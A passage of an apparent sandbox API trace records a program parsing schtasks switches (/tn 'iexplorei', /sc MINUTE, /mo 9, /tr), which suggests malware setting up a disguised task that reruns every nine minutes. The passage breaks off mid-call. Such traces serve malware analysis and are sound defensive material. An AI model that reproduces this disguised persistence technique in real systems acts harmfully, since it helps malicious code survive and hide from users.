returned 4 [0153.375] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0153.375] SetLastError (dwErrCode=0x490) [0153.375] lstrlenW (lpString="sc") returned 2 [0153.375] lstrlenW (lpString="sc") returned 2 [0153.375] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.375] lstrlenW (lpString="tn") returned 2 [0153.375] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.375] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.375] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.375] lstrlenW (lpString="|sc|") returned 4 [0153.375] lstrlenW (lpString="|tn|") returned 4 [0153.375] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0153.375] SetLastError (dwErrCode=0x490) [0153.375] lstrlenW (lpString="mo") returned 2 [0153.375] lstrlenW (lpString="mo") returned 2 [0153.375] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.376] lstrlenW (lpString="tn") returned 2 [0153.376] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.376] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.376] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.376] lstrlenW (lpString="|mo|") returned 4 [0153.376] lstrlenW (lpString="|tn|") returned 4 [0153.376] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0153.376] SetLastError (dwErrCode=0x490) [0153.376] lstrlenW (lpString="d") returned 1 [0153.376] lstrlenW (lpString="d") returned 1 [0153.376] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.376] lstrlenW (lpString="tn") returned 2 [0153.376] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.376] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|d|") returned 3 [0153.376] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.376] lstrlenW (lpString="|d|") returned 3 [0153.376] lstrlenW (lpString="|tn|") returned 4 [0153.377] SetLastError (dwErrCode=0x490) [0153.377] lstrlenW (lpString="m") returned 1 [0153.377] lstrlenW (lpString="m") returned 1 [0153.377] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.377] lstrlenW (lpString="tn") returned 2 [0153.377] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.377] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|m|") returned 3 [0153.377] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.377] lstrlenW (lpString="|m|") returned 3 [0153.377] lstrlenW (lpString="|tn|") returned 4 [0153.377] SetLastError (dwErrCode=0x490) [0153.377] lstrlenW (lpString="i") returned 1 [0153.377] lstrlenW (lpString="i") returned 1 [0153.377] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.377] lstrlenW (lpString="tn") returned 2 [0153.377] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.377] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|i|") returned 3 [0153.378] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.378] lstrlenW (lpString="|i|") returned 3 [0153.378] lstrlenW (lpString="|tn|") returned 4 [0153.378] SetLastError (dwErrCode=0x490) [0153.378] lstrlenW (lpString="tn") returned 2 [0153.378] lstrlenW (lpString="tn") returned 2 [0153.378] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.378] lstrlenW (lpString="tn") returned 2 [0153.378] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.378] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.378] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tn|") returned 4 [0153.378] lstrlenW (lpString="|tn|") returned 4 [0153.378] lstrlenW (lpString="|tn|") returned 4 [0153.378] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0153.378] SetLastError (dwErrCode=0x0) [0153.378] SetLastError (dwErrCode=0x0) [0153.378] lstrlenW (lpString="iexplorei") returned 9 [0153.378] lstrlenW (lpString="-/") returned 2 [0153.378] StrChrIW (lpStart="-/", wMatch=0x69) returned 0x0 [0153.379] SetLastError (dwErrCode=0x490) [0153.379] SetLastError (dwErrCode=0x490) [0153.379] SetLastError (dwErrCode=0x0) [0153.379] lstrlenW (lpString="iexplorei") returned 9 [0153.379] StrChrIW (lpStart="iexplorei", wMatch=0x3a) returned 0x0 [0153.379] SetLastError (dwErrCode=0x490) [0153.379] SetLastError (dwErrCode=0x0) [0153.379] lstrlenW (lpString="iexplorei") returned 9 [0153.379] SetLastError (dwErrCode=0x0) [0153.379] SetLastError (dwErrCode=0x0) [0153.379] lstrlenW (lpString="/sc") returned 3 [0153.379] lstrlenW (lpString="-/") returned 2 [0153.379] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.379] lstrlenW (lpString="create") returned 6 [0153.379] lstrlenW (lpString="create") returned 6 [0153.379] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.379] lstrlenW (lpString="sc") returned 2 [0153.379] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.379] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0153.380] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.380] lstrlenW (lpString="|create|") returned 8 [0153.380] lstrlenW (lpString="|sc|") returned 4 [0153.380] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0153.380] SetLastError (dwErrCode=0x490) [0153.380] lstrlenW (lpString="?") returned 1 [0153.380] lstrlenW (lpString="?") returned 1 [0153.380] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.380] lstrlenW (lpString="sc") returned 2 [0153.380] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.380] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0153.380] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.380] lstrlenW (lpString="|?|") returned 3 [0153.380] lstrlenW (lpString="|sc|") returned 4 [0153.380] SetLastError (dwErrCode=0x490) [0153.380] lstrlenW (lpString="s") returned 1 [0153.380] lstrlenW (lpString="s") returned 1 [0153.380] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.381] lstrlenW (lpString="sc") returned 2 [0153.381] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.381] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0153.381] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.381] lstrlenW (lpString="|s|") returned 3 [0153.381] lstrlenW (lpString="|sc|") returned 4 [0153.381] SetLastError (dwErrCode=0x490) [0153.381] lstrlenW (lpString="u") returned 1 [0153.381] lstrlenW (lpString="u") returned 1 [0153.381] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.381] lstrlenW (lpString="sc") returned 2 [0153.381] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.381] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0153.381] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.381] lstrlenW (lpString="|u|") returned 3 [0153.381] lstrlenW (lpString="|sc|") returned 4 [0153.382] SetLastError (dwErrCode=0x490) [0153.382] lstrlenW (lpString="p") returned 1 [0153.382] lstrlenW (lpString="p") returned 1 [0153.382] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.382] lstrlenW (lpString="sc") returned 2 [0153.382] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.382] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0153.382] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.382] lstrlenW (lpString="|p|") returned 3 [0153.382] lstrlenW (lpString="|sc|") returned 4 [0153.382] SetLastError (dwErrCode=0x490) [0153.382] lstrlenW (lpString="ru") returned 2 [0153.382] lstrlenW (lpString="ru") returned 2 [0153.382] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.382] lstrlenW (lpString="sc") returned 2 [0153.382] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.382] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0153.382] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.383] lstrlenW (lpString="|ru|") returned 4 [0153.383] lstrlenW (lpString="|sc|") returned 4 [0153.383] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0153.383] SetLastError (dwErrCode=0x490) [0153.383] lstrlenW (lpString="rp") returned 2 [0153.383] lstrlenW (lpString="rp") returned 2 [0153.383] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.383] lstrlenW (lpString="sc") returned 2 [0153.383] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.383] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0153.383] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.383] lstrlenW (lpString="|rp|") returned 4 [0153.383] lstrlenW (lpString="|sc|") returned 4 [0153.383] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0153.383] SetLastError (dwErrCode=0x490) [0153.383] lstrlenW (lpString="sc") returned 2 [0153.383] lstrlenW (lpString="sc") returned 2 [0153.383] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.383] lstrlenW (lpString="sc") returned 2 [0153.384] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.384] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.384] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.384] lstrlenW (lpString="|sc|") returned 4 [0153.384] lstrlenW (lpString="|sc|") returned 4 [0153.384] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0153.384] SetLastError (dwErrCode=0x0) [0153.384] SetLastError (dwErrCode=0x0) [0153.384] lstrlenW (lpString="MINUTE") returned 6 [0153.384] lstrlenW (lpString="-/") returned 2 [0153.384] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0153.384] SetLastError (dwErrCode=0x490) [0153.384] SetLastError (dwErrCode=0x490) [0153.384] SetLastError (dwErrCode=0x0) [0153.384] lstrlenW (lpString="MINUTE") returned 6 [0153.384] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0153.384] SetLastError (dwErrCode=0x490) [0153.384] SetLastError (dwErrCode=0x0) [0153.384] GetProcessHeap () returned 0x290000 [0153.385] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x18) returned 0x2ad4c0 [0153.385] _memicmp (_Buf1=0x2ad4c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.385] lstrlenW (lpString="MINUTE") returned 6 [0153.385] GetProcessHeap () returned 0x290000 [0153.385] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0xe) returned 0x2ad580 [0153.385] lstrlenW (lpString="MINUTE") returned 6 [0153.385] lstrlenW (lpString=" \x09") returned 2 [0153.385] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0153.385] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0153.385] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0153.385] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0153.385] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0153.385] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0153.385] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0153.385] GetLastError () returned 0x0 [0153.385] lstrlenW (lpString="MINUTE") returned 6 [0153.385] lstrlenW (lpString="MINUTE") returned 6 [0153.385] SetLastError (dwErrCode=0x0) [0153.386] SetLastError (dwErrCode=0x0) [0153.386] lstrlenW (lpString="/mo") returned 3 [0153.386] lstrlenW (lpString="-/") returned 2 [0153.386] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.386] lstrlenW (lpString="create") returned 6 [0153.386] lstrlenW (lpString="create") returned 6 [0153.386] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.386] lstrlenW (lpString="mo") returned 2 [0153.386] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.386] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0153.386] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.386] lstrlenW (lpString="|create|") returned 8 [0153.386] lstrlenW (lpString="|mo|") returned 4 [0153.386] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0153.386] SetLastError (dwErrCode=0x490) [0153.386] lstrlenW (lpString="?") returned 1 [0153.386] lstrlenW (lpString="?") returned 1 [0153.386] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.387] lstrlenW (lpString="mo") returned 2 [0153.387] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.387] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0153.387] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.387] lstrlenW (lpString="|?|") returned 3 [0153.387] lstrlenW (lpString="|mo|") returned 4 [0153.387] SetLastError (dwErrCode=0x490) [0153.387] lstrlenW (lpString="s") returned 1 [0153.387] lstrlenW (lpString="s") returned 1 [0153.387] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.387] lstrlenW (lpString="mo") returned 2 [0153.387] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.387] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0153.387] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.387] lstrlenW (lpString="|s|") returned 3 [0153.387] lstrlenW (lpString="|mo|") returned 4 [0153.387] SetLastError (dwErrCode=0x490) [0153.388] lstrlenW (lpString="u") returned 1 [0153.388] lstrlenW (lpString="u") returned 1 [0153.388] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.388] lstrlenW (lpString="mo") returned 2 [0153.388] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.388] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0153.388] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.388] lstrlenW (lpString="|u|") returned 3 [0153.388] lstrlenW (lpString="|mo|") returned 4 [0153.388] SetLastError (dwErrCode=0x490) [0153.388] lstrlenW (lpString="p") returned 1 [0153.388] lstrlenW (lpString="p") returned 1 [0153.388] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.388] lstrlenW (lpString="mo") returned 2 [0153.388] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.388] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0153.388] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.389] lstrlenW (lpString="|p|") returned 3 [0153.389] lstrlenW (lpString="|mo|") returned 4 [0153.389] SetLastError (dwErrCode=0x490) [0153.389] lstrlenW (lpString="ru") returned 2 [0153.389] lstrlenW (lpString="ru") returned 2 [0153.389] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.389] lstrlenW (lpString="mo") returned 2 [0153.389] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.389] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0153.389] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.389] lstrlenW (lpString="|ru|") returned 4 [0153.389] lstrlenW (lpString="|mo|") returned 4 [0153.389] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0153.389] SetLastError (dwErrCode=0x490) [0153.389] lstrlenW (lpString="rp") returned 2 [0153.389] lstrlenW (lpString="rp") returned 2 [0153.389] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.389] lstrlenW (lpString="mo") returned 2 [0153.390] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.390] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|rp|") returned 4 [0153.390] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.390] lstrlenW (lpString="|rp|") returned 4 [0153.390] lstrlenW (lpString="|mo|") returned 4 [0153.390] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0153.390] SetLastError (dwErrCode=0x490) [0153.390] lstrlenW (lpString="sc") returned 2 [0153.390] lstrlenW (lpString="sc") returned 2 [0153.390] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.390] lstrlenW (lpString="mo") returned 2 [0153.390] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.390] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|sc|") returned 4 [0153.390] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.390] lstrlenW (lpString="|sc|") returned 4 [0153.390] lstrlenW (lpString="|mo|") returned 4 [0153.390] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0153.391] SetLastError (dwErrCode=0x490) [0153.391] lstrlenW (lpString="mo") returned 2 [0153.391] lstrlenW (lpString="mo") returned 2 [0153.391] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.391] lstrlenW (lpString="mo") returned 2 [0153.391] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.391] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.391] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|mo|") returned 4 [0153.391] lstrlenW (lpString="|mo|") returned 4 [0153.391] lstrlenW (lpString="|mo|") returned 4 [0153.391] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0153.391] SetLastError (dwErrCode=0x0) [0153.391] SetLastError (dwErrCode=0x0) [0153.391] lstrlenW (lpString="9") returned 1 [0153.391] SetLastError (dwErrCode=0x490) [0153.391] SetLastError (dwErrCode=0x0) [0153.391] lstrlenW (lpString="9") returned 1 [0153.391] StrChrIW (lpStart="9", wMatch=0x3a) returned 0x0 [0153.391] SetLastError (dwErrCode=0x490) [0153.392] SetLastError (dwErrCode=0x0) [0153.392] _memicmp (_Buf1=0x2ad4c0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.392] lstrlenW (lpString="9") returned 1 [0153.392] lstrlenW (lpString="9") returned 1 [0153.392] lstrlenW (lpString=" \x09") returned 2 [0153.392] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0153.392] StrChrW (lpStart=" \x09", wMatch=0x39) returned 0x0 [0153.392] GetLastError () returned 0x0 [0153.392] lstrlenW (lpString="9") returned 1 [0153.392] lstrlenW (lpString="9") returned 1 [0153.392] GetProcessHeap () returned 0x290000 [0153.392] RtlAllocateHeap (HeapHandle=0x290000, Flags=0xc, Size=0x4) returned 0x2ab990 [0153.392] SetLastError (dwErrCode=0x0) [0153.392] SetLastError (dwErrCode=0x0) [0153.392] lstrlenW (lpString="/tr") returned 3 [0153.392] lstrlenW (lpString="-/") returned 2 [0153.392] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0153.392] lstrlenW (lpString="create") returned 6 [0153.392] lstrlenW (lpString="create") returned 6 [0153.393] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.393] lstrlenW (lpString="tr") returned 2 [0153.393] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.393] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x9, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|create|") returned 8 [0153.393] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.393] lstrlenW (lpString="|create|") returned 8 [0153.393] lstrlenW (lpString="|tr|") returned 4 [0153.393] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0153.393] SetLastError (dwErrCode=0x490) [0153.393] lstrlenW (lpString="?") returned 1 [0153.393] lstrlenW (lpString="?") returned 1 [0153.393] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.393] lstrlenW (lpString="tr") returned 2 [0153.393] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.393] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|?|") returned 3 [0153.393] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.393] lstrlenW (lpString="|?|") returned 3 [0153.393] lstrlenW (lpString="|tr|") returned 4 [0153.394] SetLastError (dwErrCode=0x490) [0153.394] lstrlenW (lpString="s") returned 1 [0153.394] lstrlenW (lpString="s") returned 1 [0153.394] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.394] lstrlenW (lpString="tr") returned 2 [0153.394] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.394] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|s|") returned 3 [0153.394] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.394] lstrlenW (lpString="|s|") returned 3 [0153.394] lstrlenW (lpString="|tr|") returned 4 [0153.394] SetLastError (dwErrCode=0x490) [0153.394] lstrlenW (lpString="u") returned 1 [0153.394] lstrlenW (lpString="u") returned 1 [0153.394] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.394] lstrlenW (lpString="tr") returned 2 [0153.394] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.394] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|u|") returned 3 [0153.394] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.395] lstrlenW (lpString="|u|") returned 3 [0153.395] lstrlenW (lpString="|tr|") returned 4 [0153.395] SetLastError (dwErrCode=0x490) [0153.395] lstrlenW (lpString="p") returned 1 [0153.395] lstrlenW (lpString="p") returned 1 [0153.395] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.395] lstrlenW (lpString="tr") returned 2 [0153.395] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.395] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x4, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|p|") returned 3 [0153.395] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.395] lstrlenW (lpString="|p|") returned 3 [0153.395] lstrlenW (lpString="|tr|") returned 4 [0153.395] SetLastError (dwErrCode=0x490) [0153.395] lstrlenW (lpString="ru") returned 2 [0153.395] lstrlenW (lpString="ru") returned 2 [0153.395] _memicmp (_Buf1=0x2ac1a0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.395] lstrlenW (lpString="tr") returned 2 [0153.396] _memicmp (_Buf1=0x2ac1e0, _Buf2=0xffd41b08, _Size=0x7) returned 0 [0153.396] _vsnwprintf (in: _Buffer=0x2ac220, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|ru|") returned 4 [0153.396] _vsnwprintf (in: _Buffer=0x2ac200, _BufferCount=0x5, _Format="|%s|", _ArgList=0x19c568 | out: _Buffer="|tr|") returned 4 [0153.396] lstrlenW (lpString="|ru|") returned 4 [0153.396] lstrlenW (lpString="|tr|") returned 4 [0153.396] StrStrIW (lpFirst="|ru|", 